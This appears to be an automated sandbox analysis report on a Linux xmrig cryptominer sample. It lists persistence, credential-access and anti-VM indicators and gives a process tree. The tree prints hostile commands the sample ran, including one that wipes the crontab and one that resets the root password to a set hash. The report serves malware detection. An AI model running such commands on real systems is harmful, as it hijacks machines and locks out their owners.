xmrig | d13feadac292d97519947c3eb45e0b89eab15757e9e5a06e29f56457f55af225

persistence credential_access defense_evasion

description	ioc	Process
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/group	useradd
File opened for modification	/etc/shadow	useradd

Modifies PAM framework files 1 TTPs 1 IoCs

Modifies Linux PAM framework files, possibly to intercept credentials.

Pluggable Authentication Modules

privilege_escalation defense_evasion

description	ioc	Process
File opened for modification	/etc/pam.d/common-auth	uDCsrwmOdpPODlPQ_unpack

OS Credential Dumping 1 TTPs 6 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	usermod
File opened for reading	/etc/shadow	usermod
File opened for reading	/etc/shadow	useradd
File opened for reading	/etc/shadow	dpkg-preconfigure
File opened for reading	/etc/shadow	uDCsrwmOdpPODlPQ_unpack
File opened for reading	/etc/shadow	usermod

Runs EXE from memory 1 IoCs

Runs an executable from memory, likely to minimize footprint

ioc	pid	Process
/proc/2498/fd/7	2964	uDCsrwmOdpPODlPQ_unpack

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 2 IoCs

Abuse sudo or cached sudo credentials to execute code.

Sudo and Sudo Caching

T1548.003

pid	Process
2659	usermod
2656	sh

Adds a user to the system 1 IoCs

pid	Process
2655	useradd

Checks hardware identifiers (DMI) 1 TTPs 6 IoCs

Checks DMI information which indicate if the system is a virtual machine.

antivm

System Checks

description	ioc	Process
File opened for reading	/sys/devices/virtual/dmi/id/product_name	7
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	7
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	7
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	7
File opened for reading	/sys/class/dmi/id/product_name	systemd-detect-virt
File opened for reading	/sys/class/dmi/id/sys_vendor	systemd-detect-virt

Checks mountinfo of local process 1 TTPs 2 IoCs

Checks mountinfo of running processes which indicate if it is running in chroot jail.

antivm

System Checks

execution persistence privilege_escalation

description	ioc	Process
File opened for reading	/proc/1/mountinfo	ischroot
File opened for reading	/proc/1/mountinfo	ischroot

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

Cron

persistence privilege_escalation

description	ioc	Process
File opened for modification	/etc/crontab	uDCsrwmOdpPODlPQ_unpack

Deletes log files 1 TTPs 1 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/apt/eipp.log.xz	apt

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/logrotate-setup.service	uDCsrwmOdpPODlPQ_unpack

Reads hardware information 1 TTPs 14 IoCs

Accesses system info like serial numbers, manufacturer names etc.

System Information Discovery

description	ioc	Process
File opened for reading	/sys/devices/virtual/dmi/id/product_version	7
File opened for reading	/sys/devices/virtual/dmi/id/product_serial	7
File opened for reading	/sys/devices/virtual/dmi/id/board_name	7
File opened for reading	/sys/devices/virtual/dmi/id/board_version	7
File opened for reading	/sys/devices/virtual/dmi/id/board_serial	7
File opened for reading	/sys/devices/virtual/dmi/id/chassis_vendor	7
File opened for reading	/sys/devices/virtual/dmi/id/chassis_version	7
File opened for reading	/sys/devices/virtual/dmi/id/chassis_serial	7
File opened for reading	/sys/devices/virtual/dmi/id/product_uuid	7
File opened for reading	/sys/devices/virtual/dmi/id/board_asset_tag	7
File opened for reading	/sys/devices/virtual/dmi/id/chassis_type	7
File opened for reading	/sys/devices/virtual/dmi/id/chassis_asset_tag	7
File opened for reading	/sys/devices/virtual/dmi/id/bios_version	7
File opened for reading	/sys/devices/virtual/dmi/id/bios_date	7

Reads list of loaded kernel modules 1 TTPs 1 IoCs

Reads the list of currently loaded kernel modules, possibly to detect virtual environments.

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened for reading	/proc/modules	uDCsrwmOdpPODlPQ_unpack

Write file to user bin folder 2 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/sbin/rdmsr.dpkg-new	dpkg
File opened for modification	/usr/sbin/wrmsr.dpkg-new	dpkg

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/bin/passwd	uDCsrwmOdpPODlPQ_unpack
File opened for modification	/sbin/pam_tms	uDCsrwmOdpPODlPQ_unpack

Reads process memory 1 TTPs 21 IoCs

Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

credential_access

Proc Filesystem

T1003.007

description	ioc	Process
File opened for reading	/proc/784/maps	needrestart
File opened for reading	/proc/808/maps	needrestart
File opened for reading	/proc/809/maps	needrestart
File opened for reading	/proc/390/maps	needrestart
File opened for reading	/proc/418/maps	needrestart
File opened for reading	/proc/588/maps	needrestart
File opened for reading	/proc/755/maps	needrestart
File opened for reading	/proc/789/maps	needrestart
File opened for reading	/proc/861/maps	needrestart
File opened for reading	/proc/1/maps	needrestart
File opened for reading	/proc/338/maps	needrestart
File opened for reading	/proc/582/maps	needrestart
File opened for reading	/proc/756/maps	needrestart
File opened for reading	/proc/777/maps	needrestart
File opened for reading	/proc/793/maps	needrestart
File opened for reading	/proc/815/maps	needrestart
File opened for reading	/proc/438/maps	needrestart
File opened for reading	/proc/590/maps	needrestart
File opened for reading	/proc/785/maps	needrestart
File opened for reading	/proc/765/maps	needrestart
File opened for reading	/proc/773/maps	needrestart

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-50.dat	upx
behavioral1/files/fstream-51.dat	upx
behavioral1/files/fstream-75.dat	upx

Changes its process name 3 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	pool-spawner	2588	gdbus
Changes the process name, possibly in an attempt to hide itself	gmain	2589	gdbus
Changes the process name, possibly in an attempt to hide itself	gdbus	2590	gdbus

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

description	ioc	Process
File opened for reading	/proc/cpuinfo	uDCsrwmOdpPODlPQ_unpack
File opened for reading	/proc/cpuinfo	systemd-detect-virt
File opened for reading	/proc/cpuinfo	7

Reads CPU attributes 1 TTPs 45 IoCs

System Information Discovery

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/id	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/size	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/size	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index8/shared_cpu_map	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/type	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/number_of_sets	7
File opened for reading	/sys/devices/system/cpu/cpu0/cpu_capacity	7
File opened for reading	/sys/devices/system/cpu/possible	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/size	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/level	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/id	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index6/shared_cpu_map	7
File opened for reading	/sys/devices/system/cpu/cpu0/cpufreq/base_frequency	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/level	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/level	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/type	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index5/shared_cpu_map	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index7/shared_cpu_map	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/number_of_sets	7
File opened for reading	/sys/devices/system/cpu/cpu0/topology/core_id	7
File opened for reading	/sys/devices/system/cpu/cpu0/topology/package_cpus	7
File opened for reading	/sys/devices/system/cpu/cpu0/topology/physical_package_id	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition	7
File opened for reading	/sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/number_of_sets	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index4/shared_cpu_map	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index9/shared_cpu_map	7
File opened for reading	/sys/devices/system/cpu/online	7
File opened for reading	/sys/devices/system/cpu/cpu0/topology/core_cpus	7
File opened for reading	/sys/devices/system/cpu/cpu0/topology/cluster_cpus	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/id	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/level	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/type	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/id	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/type	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map	7
File opened for reading	/sys/devices/system/cpu/cpu0/topology/die_cpus	7
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map	7

Enumerates kernel/hardware configuration 1 TTPs 33 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	uDCsrwmOdpPODlPQ_unpack
File opened for reading	/sys/devices/system/node/online	7
File opened for reading	/sys/devices/system/node/node0/cpumap	7
File opened for reading	/sys/devices/system/node/node0/access0/initiators/write_latency	7
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	snap
File opened for reading	/sys/fs/cgroup/cpuset.cpus.effective	7
File opened for reading	/sys/devices/system/node/node0/meminfo	7
File opened for reading	/sys/devices/system/node/node0/access0/initiators	7
File opened for reading	/sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages	7
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	snap
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	snap
File opened for reading	/sys/fs/cgroup/cpuset.mems.effective	7
File opened for reading	/sys/devices/system/node/node0/hugepages	7
File opened for reading	/sys/devices/system/node/node0/access0/initiators/read_bandwidth	7
File opened for reading	/sys/devices/system/node/node0/access0/initiators/read_latency	7
File opened for reading	/sys/firmware/dmi/tables/DMI	7
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	snap
File opened for reading	/sys/kernel/mm/hugepages	7
File opened for reading	/sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages	7
File opened for reading	/sys/devices/system/node/node0/hugepages/hugepages-1048576kB/nr_hugepages	7
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	snap
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	snap
File opened for reading	/sys/devices/system/cpu	7
File opened for reading	/sys/bus/dax/devices	7
File opened for reading	/sys/devices/virtual/dmi/id	7
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	snap
File opened for reading	/sys/devices/system/node/node0/access0/initiators/write_bandwidth	7
File opened for reading	/sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages	7
File opened for reading	/sys/devices/system/node/node0/access1/initiators	7
File opened for reading	/sys/firmware/dmi/tables/smbios_entry_point	7
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	snap
File opened for reading	/sys/fs/cgroup/cgroup.controllers	7
File opened for reading	/sys/kernel/mm/hugepages/hugepages-1048576kB/nr_hugepages	7

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/1046/root/usr/lib/python3.12/urllib/parse.py	needrestart
File opened for reading	/proc/1046/root/usr/lib/python3.12/_osx_support.py	needrestart
File opened for reading	/proc/198/comm	uDCsrwmOdpPODlPQ_unpack
File opened for reading	/proc/773/cmdline	uDCsrwmOdpPODlPQ_unpack
File opened for reading	/proc/789/comm	uDCsrwmOdpPODlPQ_unpack
File opened for reading	/proc/7/environ	needrestart
File opened for reading	/proc/16/status	needrestart
File opened for reading	/proc/48/cmdline	needrestart
File opened for reading	/proc/52/cmdline	needrestart
File opened for reading	/proc/70/cmdline	needrestart
File opened for reading	/proc/756/environ	needrestart
File opened for reading	/proc/1957/environ	needrestart
File opened for reading	/proc/1046/root/usr/lib/python3.12/importlib/util.py	needrestart
File opened for reading	/proc/21/cmdline	needrestart
File opened for reading	/proc/275/stat	needrestart
File opened for reading	/proc/2223/environ	needrestart
File opened for reading	/proc/1046/root/usr/lib/python3.12/email/parser.py	needrestart
File opened for reading	/proc/192/comm	uDCsrwmOdpPODlPQ_unpack
File opened for reading	/proc/1890/cmdline	uDCsrwmOdpPODlPQ_unpack
File opened for reading	/proc/1964/cmdline	uDCsrwmOdpPODlPQ_unpack
File opened for reading	/proc/2569/status	uDCsrwmOdpPODlPQ_unpack
File opened for reading	/proc/1949/stat	uDCsrwmOdpPODlPQ_unpack
File opened for reading	/proc/1963/stat	uDCsrwmOdpPODlPQ_unpack
File opened for reading	/proc/193/environ	needrestart
File opened for reading	/proc/2426/status	needrestart
File opened for reading	/proc/2503/stat	needrestart
File opened for reading	/proc/1046/root/usr/lib/python3.12/hashlib.py	needrestart
File opened for reading	/proc/1998/maps	needrestart
File opened for reading	/proc/2427/maps	needrestart
File opened for reading	/proc/1341/stat	uDCsrwmOdpPODlPQ_unpack
File opened for reading	/proc/79/stat	needrestart
File opened for reading	/proc/1341/stat	needrestart
File opened for reading	/proc/1948/cmdline	needrestart
File opened for reading	/proc/2593/stat	needrestart
File opened for reading	/proc/1046/root/usr/lib/python3.12/genericpath.py	needrestart
File opened for reading	/proc/1046/root/usr/lib/python3.12/operator.py	needrestart
File opened for reading	/proc/37/cmdline	uDCsrwmOdpPODlPQ_unpack
File opened for reading	/proc/25/cmdline	needrestart
File opened for reading	/proc/15/status	uDCsrwmOdpPODlPQ_unpack
File opened for reading	/proc/793/comm	uDCsrwmOdpPODlPQ_unpack
File opened for reading	/proc/1959/comm	uDCsrwmOdpPODlPQ_unpack
File opened for reading	/proc/sys/kernel/random/boot_id	usermod
File opened for reading	/proc/sys/vm/nr_hugepages	7
File opened for reading	/proc/2/stat	uDCsrwmOdpPODlPQ_unpack
File opened for reading	/proc/2/stat	needrestart
File opened for reading	/proc/1806/environ	needrestart
File opened for reading	/proc/1865/environ	needrestart
File opened for reading	/proc/1937/status	needrestart
File opened for reading	/proc/2138/stat	needrestart
File opened for reading	/proc/1046/root/usr/lib/python3.12/gzip.py	needrestart
File opened for reading	/proc/1046/root/usr/lib/python3.12/ssl.py	needrestart
File opened for reading	/proc/199/cmdline	needrestart
File opened for reading	/proc/384/stat	needrestart
File opened for reading	/proc/418/cmdline	needrestart
File opened for reading	/proc/582/cmdline	needrestart
File opened for reading	/proc/1806/stat	needrestart
File opened for reading	/proc/2207/maps	needrestart
File opened for reading	/proc/2506/maps	needrestart
File opened for reading	/proc/34/comm	uDCsrwmOdpPODlPQ_unpack
File opened for reading	/proc/54/environ	needrestart
File opened for reading	/proc/1341/cmdline	needrestart
File opened for reading	/proc/1917/environ	needrestart
File opened for reading	/proc/1119/maps	needrestart
File opened for reading	/proc/188/comm	uDCsrwmOdpPODlPQ_unpack

Software Deployment Tools 1 TTPs 2 IoCs

Use software deployment tools to execute code.

execution

Software Deployment Tools

T1072

pid	Process
2550	dpkg-split
2560	dpkg

/tmp/uDCsrwmOdpPODlPQ_unpack
/tmp/uDCsrwmOdpPODlPQ_unpack
1⤵
- Adds new SSH keys
- Modifies PAM framework files
- OS Credential Dumping
- Runs EXE from memory
- Creates/modifies Cron job
- Modifies systemd
- Reads list of loaded kernel modules
- Writes file to system bin folder
- Checks CPU configuration
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2498
- /usr/bin/sh
  sh -c "apt --reinstall install msr-tools"
  2⤵
  PID:2502
- - /usr/bin/apt
    apt --reinstall install msr-tools
    3⤵
    - Deletes log files
    PID:2503
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      PID:2505
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      PID:2509
  - - /bin/sh
      /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
      4⤵
      PID:2510
    - - /usr/bin/snap
        
        /usr/bin/snap advise-snap --from-apt
        5⤵
        Enumerates kernel/hardware configuration
        
        PID:2511
    - - /snap/snapd/current/usr/bin/snap
        
        /usr/bin/snap advise-snap --from-apt
        5⤵
        Enumerates kernel/hardware configuration
        
        PID:2511
  - - /usr/lib/apt/methods/http
      /usr/lib/apt/methods/http
      4⤵
      PID:2519
  - - /bin/sh
      /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
      4⤵
      PID:2520
    - - /usr/bin/snap
        
        /usr/bin/snap advise-snap --from-apt
        5⤵
        Enumerates kernel/hardware configuration
        
        PID:2521
    - - /snap/snapd/current/usr/bin/snap
        
        /usr/bin/snap advise-snap --from-apt
        5⤵
        Enumerates kernel/hardware configuration
        
        PID:2521
  - - /bin/sh
      /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
      4⤵
      PID:2529
    - - /usr/bin/snap
        
        /usr/bin/snap advise-snap --from-apt
        5⤵
        Enumerates kernel/hardware configuration
        
        PID:2530
    - - /snap/snapd/current/usr/bin/snap
        
        /usr/bin/snap advise-snap --from-apt
        5⤵
        Enumerates kernel/hardware configuration
        
        PID:2530
  - - /usr/bin/ischroot
      /usr/bin/ischroot -t
      4⤵
      Checks mountinfo of local process
      PID:2538
  - - /usr/lib/apt/methods/http
      /usr/lib/apt/methods/http
      4⤵
      PID:2539
  - - /bin/sh
      /bin/sh -c "/usr/sbin/dpkg-preconfigure --apt || true"
      4⤵
      PID:2540
    - - /usr/sbin/dpkg-preconfigure
        
        /usr/sbin/dpkg-preconfigure --apt
        5⤵
        OS Credential Dumping
        
        PID:2541
      - /usr/local/sbin/locale
        
        locale charmap
        6⤵
        
        PID:2542
      - /usr/local/bin/locale
        
        locale charmap
        6⤵
        
        PID:2542
      - /usr/sbin/locale
        
        locale charmap
        6⤵
        
        PID:2542
      - /usr/bin/locale
        
        locale charmap
        6⤵
        
        PID:2542
  - - /usr/bin/dpkg
      /usr/bin/dpkg --assert-multi-arch
      4⤵
      PID:2543
  - - /usr/bin/dpkg
      /usr/bin/dpkg --assert-protected-field
      4⤵
      PID:2544
  - - /usr/bin/dpkg
      /usr/bin/dpkg --status-fd 40 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/msr-tools_1.3-5build1_amd64.deb
      4⤵
      Write file to user bin folder
      PID:2545
    - - /usr/sbin/sh
        
        sh -c -- "(test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)"
        5⤵
        
        PID:2546
    - - /usr/bin/sh
        
        sh -c -- "(test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)"
        5⤵
        
        PID:2546
      - /usr/lib/needrestart/dpkg-status
        
        /usr/lib/needrestart/dpkg-status
        6⤵
        
        PID:2548
        
        /usr/bin/mkdir
        
        mkdir -p /run/needrestart
        7⤵
        
        PID:2549
        
        /usr/bin/touch
        
        touch /run/needrestart/unpacked
        7⤵
        
        PID:2558
    - - /usr/sbin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/msr-tools_1.3-5build1_amd64.deb
        5⤵
        
        PID:2550
    - - /usr/bin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/msr-tools_1.3-5build1_amd64.deb
        5⤵
        Software Deployment Tools
        
        PID:2550
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --control /var/cache/apt/archives/msr-tools_1.3-5build1_amd64.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2551
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --control /var/cache/apt/archives/msr-tools_1.3-5build1_amd64.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2551
      - /usr/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        
        PID:2554
      - /usr/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        
        PID:2554
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --fsys-tarfile /var/cache/apt/archives/msr-tools_1.3-5build1_amd64.deb
        5⤵
        
        PID:2555
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --fsys-tarfile /var/cache/apt/archives/msr-tools_1.3-5build1_amd64.deb
        5⤵
        
        PID:2555
    - - /usr/sbin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2559
    - - /usr/bin/rm
        
        rm -rf -- /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:2559
  - - /usr/bin/dpkg
      /usr/bin/dpkg --status-fd 40 --configure --pending
      4⤵
      Software Deployment Tools
      PID:2560
    - - /usr/sbin/sh
        
        sh -c -- "(test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)"
        5⤵
        
        PID:2561
    - - /usr/bin/sh
        
        sh -c -- "(test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)"
        5⤵
        
        PID:2561
      - /usr/lib/needrestart/dpkg-status
        
        /usr/lib/needrestart/dpkg-status
        6⤵
        
        PID:2563
        
        /usr/bin/mkdir
        
        mkdir -p /run/needrestart
        7⤵
        
        PID:2564
        
        /usr/bin/touch
        
        touch /run/needrestart/unpacked
        7⤵
        
        PID:2565
    - - /var/lib/dpkg/info/man-db.postinst
        
        /var/lib/dpkg/info/man-db.postinst triggered /usr/share/man
        5⤵
        
        PID:2566
      - /usr/bin/setpriv
        
        setpriv --reuid man --regid man --init-groups -- /usr/bin/mandb -pq
        6⤵
        
        PID:2567
      - /usr/bin/mandb
        
        /usr/bin/mandb -pq
        6⤵
        
        PID:2567
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      PID:2568
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      PID:2574
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      PID:2582
  - - /usr/bin/test
      /usr/bin/test -e /usr/share/dbus-1/system-services/org.freedesktop.PackageKit.service
      4⤵
      PID:2585
  - - /usr/bin/test
      /usr/bin/test -S /var/run/dbus/system_bus_socket
      4⤵
      PID:2586
  - - /usr/bin/gdbus
      /usr/bin/gdbus call --system --dest org.freedesktop.PackageKit --object-path /org/freedesktop/PackageKit --timeout 4 --method org.freedesktop.PackageKit.StateHasChanged cache-update
      4⤵
      Changes its process name
      PID:2587
  - - /bin/echo
      /bin/echo
      4⤵
      PID:2591
  - - /bin/sh
      sh -c -- "test -x /usr/lib/needrestart/apt-pinvoke && /usr/lib/needrestart/apt-pinvoke -m u || true"
      4⤵
      PID:2592
    - - /usr/lib/needrestart/apt-pinvoke
        
        /usr/lib/needrestart/apt-pinvoke -m u
        5⤵
        
        PID:2593
      - /usr/bin/dbus-send
        
        dbus-send --system "--dest=org.freedesktop.login1" --print-reply /org/freedesktop/login1 org.freedesktop.DBus.Properties.Get string:org.freedesktop.login1.Manager string:PreparingForShutdown
        6⤵
        
        PID:2594
      - /usr/bin/rm
        
        rm -f /run/needrestart/unpacked
        6⤵
        
        PID:2595
    - - /usr/sbin/needrestart
        
        /usr/sbin/needrestart -m u
        5⤵
        Reads process memory
        Reads runtime system information
        
        PID:2593
      - /usr/bin/systemd-detect-virt
        
        /usr/bin/systemd-detect-virt --vm --quiet
        6⤵
        Checks hardware identifiers (DMI)
        Checks CPU configuration
        
        PID:2596
      - /usr/bin/systemd-detect-virt
        
        /usr/bin/systemd-detect-virt --container --quiet
        6⤵
        
        PID:2597
      - /usr/local/sbin/who
        
        who -r
        6⤵
        
        PID:2598
      - /usr/local/bin/who
        
        who -r
        6⤵
        
        PID:2598
      - /usr/sbin/who
        
        who -r
        6⤵
        
        PID:2598
      - /usr/bin/who
        
        who -r
        6⤵
        
        PID:2598
      - /usr/bin/python3.12
        
        /usr/bin/python3.12 -
        6⤵
        
        PID:2599
  - - /bin/sh
      sh -c -- "if [ -d /var/lib/update-notifier ]; then touch /var/lib/update-notifier/dpkg-run-stamp; fi; /usr/lib/update-notifier/update-motd-updates-available 2>/dev/null || true"
      4⤵
      PID:2600
    - - /usr/bin/touch
        
        touch /var/lib/update-notifier/dpkg-run-stamp
        5⤵
        
        PID:2601
    - - /usr/lib/update-notifier/update-motd-updates-available
        
        /usr/lib/update-notifier/update-motd-updates-available
        5⤵
        
        PID:2602
      - /usr/bin/apt-config
        
        apt-config shell StateDir Dir::State
        6⤵
        
        PID:2603
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        
        PID:2604
      - /usr/bin/apt-config
        
        apt-config shell ListDir Dir::State::Lists
        6⤵
        
        PID:2605
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        
        PID:2606
      - /usr/bin/apt-config
        
        apt-config shell DpkgStatus Dir::State::status
        6⤵
        
        PID:2607
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        
        PID:2608
      - /usr/bin/apt-config
        
        apt-config shell EtcDir Dir::Etc
        6⤵
        
        PID:2609
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        
        PID:2610
      - /usr/bin/apt-config
        
        apt-config shell SourceList Dir::Etc::sourcelist
        6⤵
        
        PID:2611
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        
        PID:2612
      - /usr/bin/find
        
        find /var/lib/apt/lists/ /etc/apt/sources.list //var/lib/dpkg/status -type f -newer /var/lib/update-notifier/updates-available -print -quit
        6⤵
        
        PID:2613
      - /usr/bin/dirname
        
        dirname /var/lib/update-notifier/updates-available
        6⤵
        
        PID:2615
      - /usr/bin/mktemp
        
        mktemp -p /var/lib/update-notifier
        6⤵
        
        PID:2614
      - /usr/lib/update-notifier/apt-check
        
        /usr/lib/update-notifier/apt-check --human-readable
        6⤵
        
        PID:2616
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        
        PID:2617
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        
        PID:2618
        
        /usr/bin/ischroot
        
        /usr/bin/ischroot -t
        7⤵
        Checks mountinfo of local process
        
        PID:2625
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        
        PID:2626
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        
        PID:2627
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        
        PID:2628
      - /usr/bin/mv
        
        mv /var/lib/update-notifier/tmp.VQivtwwcbW /var/lib/update-notifier/updates-available
        6⤵
        
        PID:2629
      - /usr/bin/chmod
        
        chmod +r /var/lib/update-notifier/updates-available
        6⤵
        
        PID:2630
      - /usr/bin/rm
        
        rm -f /var/lib/update-notifier/tmp.VQivtwwcbW
        6⤵
        
        PID:2631
  - - /bin/sh
      /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
      4⤵
      PID:2632
    - - /usr/bin/snap
        
        /usr/bin/snap advise-snap --from-apt
        5⤵
        Enumerates kernel/hardware configuration
        
        PID:2633
    - - /snap/snapd/current/usr/bin/snap
        
        /usr/bin/snap advise-snap --from-apt
        5⤵
        Enumerates kernel/hardware configuration
        
        PID:2633
- /usr/bin/sh
  sh -c "crontab -r"
  2⤵
  PID:2641
- - /usr/bin/crontab
    crontab -r
    3⤵
    PID:2642
- /usr/bin/sh
  sh -c "usermod -p '\$6\$8aivRNZIlSAxxOmo\$KEPo7Yx0FCNDiuD6j7.iqvyyzrMlS9wcMObJlVwnyLn9lWGqXEDnO3bdOLh3dxrFW559vfuBhjAk2FqfKcvZv/' root"
  2⤵
  PID:2643
- - /usr/sbin/usermod
    usermod -p "\$6\$8aivRNZIlSAxxOmo\$KEPo7Yx0FCNDiuD6j7.iqvyyzrMlS9wcMObJlVwnyLn9lWGqXEDnO3bdOLh3dxrFW559vfuBhjAk2FqfKcvZv/" root
    3⤵
    - Modifies password files for system users/ groups
    - OS Credential Dumping
    PID:2645
